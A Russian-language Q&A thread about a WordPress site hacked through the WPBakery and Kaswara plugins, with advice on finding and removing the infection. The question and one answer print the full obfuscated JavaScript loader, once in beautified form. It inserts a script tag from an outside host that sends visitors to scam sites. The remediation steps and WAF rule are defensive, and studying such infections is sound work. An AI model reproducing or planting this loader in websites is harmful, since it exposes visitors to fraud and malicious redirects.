Уязвимость в системе безопасности WordPress WPBakery и Kaswara

#javascript #wordpress #security #xss #virus

Вопрос:

Я столкнулся с проблемой, что один из сайтов WordPress, которые я обслуживаю, странным образом перенаправляет пользователя (незащищенного блокировщиком рекламы) на мошеннические сайты.

Перенаправление было выполнено через stick.travelinskydream.ga.

При более тщательной проверке в приложение автоматически был введен скрипт со следующим кодом. Был использован следующий код:

 var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a)) parseInt(_0x137209(0x16f)) -parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161)) -parseInt(_0x137209(0x16c)) parseInt(_0x137209(0x167)) parseInt(_0x137209(0x16e)) -parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
 

Он создает тег сценария, который выполняет внешний код JS, который перенаправляет пользователя на вредоносные веб-сайты при загрузке. Полученный сценарий выглядит следующим образом:

 <script src="https://stick.travelinskydreams.ga?Brand.js?vid=0000amp;pidi=191817amp;id=53646"></script>
 

Из того, что я видел, уязвимость существует в плагинах WPBakery и Kaswara и является известной проблемой.

https://www.wordfence.com/blog/2020/10/episode-90-wpbakery-plugin-vulnerability-exposes-over-4-million-sites/

https://howtofix.guide/fake-jquery-migrate-plugin/

После деактивации и повторной активации плагинов один за другим, единственными виновниками остались js_composer (Wp Bakery) и Касвара. Я попытался обновить эти два плагина, но «инфекция» осталась, хотя для этой проблемы были выпущены исправления.

Ответ №1:

Только что нашел эту опцию с JS-скриптом в кодировке BASE64. Найдите и удалите его.

Найдите эту запись в таблице WP_OPTIONS

Что здесь происходит?

Эта вредоносная программа представляет собой ведьму контента Javascript, которая запускает материал GET travelinski brand.js.

Его содержимое закодировано в BASE64, чтобы предотвратить его обнаружение запросом SH или Select. При вызове на экран он становится исполняемым фрагментом кода.

Он может отображаться под другим именем параметра, но само содержимое не должно сильно изменяться.

Ответ №2:

Так что любой, кто ищет эту проблему, вот причина и решение.

Причина

Плагины: У плагинов WP-Bakery (JS Composer) и Kaswara возникла эта проблема.

Решение

Вам нужно удалить одну запись из таблицы wp_options.

  • Первый вход в cPanel.
  • Перейдите в PHPMYADMIN
  • Выберите базу данных вашего веб-сайта (у которой есть проблема)
  • Затем перейдите в таблицу wp_options.
  • Как упоминал мой друг Андре, запись может быть с другим именем wp_option_name.
  • Вам нужно ввести JS в поле ввода Строк фильтра.
  • Это даст вам результаты, теперь найдите значение option_value, которое начинается с: dmFyIF
  • Удалите эту запись, и все готово.

Ответ №3:

Решение было достаточно простым: через несколько часов внутри панели управления WordPress, в меню Kaswara > разделы пользовательского кода, там был тот самый код, который был представлен в вопросе. После его удаления все вернулось на круги своя.

Это, конечно, не единственный способ, которым такая вредоносная программа может разрушить работу, поэтому я добавляю эту ссылку с другими возможными эффектами.

https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/

Потенциальным обходным решением, которое сработало для меня, было добавление этого пользовательского скрипта, который удалял бы вредоносный JS после его загрузки (временное решение, не удаляет вирус).:

 $('script').each(function(index, obj) {
console.log(index, obj);
if (obj.src === 'https://stick.travelinskydream.ga/brand.jsamp;v=0032amp;sid=236amp;pid=545747') {
    $(this).remove();
    console.log($(this).text());
}

if ($(this).text() === "var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a)) parseInt(_0x137209(0x16f)) -parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161)) -parseInt(_0x137209(0x16c)) parseInt(_0x137209(0x167)) parseInt(_0x137209(0x16e)) -parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);") {
    $(this).remove() 
}
 

Вот «украшенный» вредоносный код введенного JS, может быть, это кому-то поможет.

 var _0x3e5356 = _0x567b;

function _0x567b(_0x4f69c6, _0x44f06a) {
    _0x4f69c6 = _0x4f69c6 - 0x161;
    var _0x230d0d = _0x230d[_0x4f69c6];
    return _0x230d0d;
}(function(_0x23c6e3, _0x4b8159) {
    var _0x137209 = _0x567b;
    while (!![]) {
        try {
            var _0x388290 = -parseInt(_0x137209(0x168)) * parseInt(_0x137209(0x16a))   parseInt(_0x137209(0x16f))   -parseInt(_0x137209(0x165)) * -parseInt(_0x137209(0x161))   -parseInt(_0x137209(0x16c))   parseInt(_0x137209(0x167))   parseInt(_0x137209(0x16e))   -parseInt(_0x137209(0x170)) * -parseInt(_0x137209(0x169));
            if (_0x388290 === _0x4b8159) break;
            else _0x23c6e3['push'](_0x23c6e3['shift']());
        } catch (_0x227ada) {
            _0x23c6e3['push'](_0x23c6e3['shift']());
        }
    }
}(_0x230d, 0xb70ce));
var mm = String[_0x3e5356(0x171)](0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x73, 0x74, 0x69, 0x63, 0x6b, 0x2e, 0x74, 0x72, 0x61, 0x76, 0x65, 0x6c, 0x69, 0x6e, 0x73, 0x6b, 0x79, 0x64, 0x72, 0x65, 0x61, 0x6d, 0x2e, 0x67, 0x61, 0x2f, 0x62, 0x72, 0x61, 0x6e, 0x64, 0x2e, 0x6a, 0x73, 0x26, 0x76, 0x3d, 0x30, 0x30, 0x33, 0x32, 0x26, 0x73, 0x69, 0x64, 0x3d, 0x32, 0x33, 0x36, 0x26, 0x70, 0x69, 0x64, 0x3d, 0x35, 0x34, 0x35, 0x37, 0x34, 0x37),
    d = document,
    s = d['createElement'](_0x3e5356(0x163));
s[_0x3e5356(0x16d)] = mm;
document[_0x3e5356(0x16b)] ? document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s, document[_0x3e5356(0x16b)]) : d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
 

Если вы обнаружите что-то еще или на вас это повлияло, пожалуйста, поделитесь своими решениями!

Ответ №4:

После того, как вы очистите свой сайт, удалив лишние файлы в касваре, и выполните полное сканирование с помощью wordfence, затем:

Для каждого пользователя wordfence freemium, который попытается устранить эту проблему до 21-го числа, могу ли я предложить:

В wordfence-waf.php поставьте эти строки всего через одну строку после:

 if(!empty($_GET['action']) amp;amp; $_GET['action'] == 'uploadFontIcon'){
   die('Good luck');
}
 

Затем, когда вы получите обновление wordfence 21 числа, оно может вернуться в исходное состояние

Ответ №5:

Большое вам за это спасибо. Мой веб-сайт был заражен этим и после восстановления из резервной копии, только для того, чтобы узнать, не был ли он повторно заражен 2 недели спустя. Нашел запись в базе данных, а также увидел скрипт в пользовательских настройках kaswara. Я посмотрю, как лучше всего заменить то, для чего я его использовал, а затем удалю.

Есть идеи, как они сюда попали? Есть ли директива htaccess, которую я могу добавить, чтобы заблокировать их?

Я нашел этот отчет, начал копать и нашел p.php файл, загруженный 8 дней назад в папку kaswara icons /загрузки/kaswara/значок/slt

https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5

Ответ №6:

После удаления плагина kaswara перейдите в mysql, возможно, через phpmyadmin, найдите таблицу wp_options и удалите имя параметра kasvaracustomjs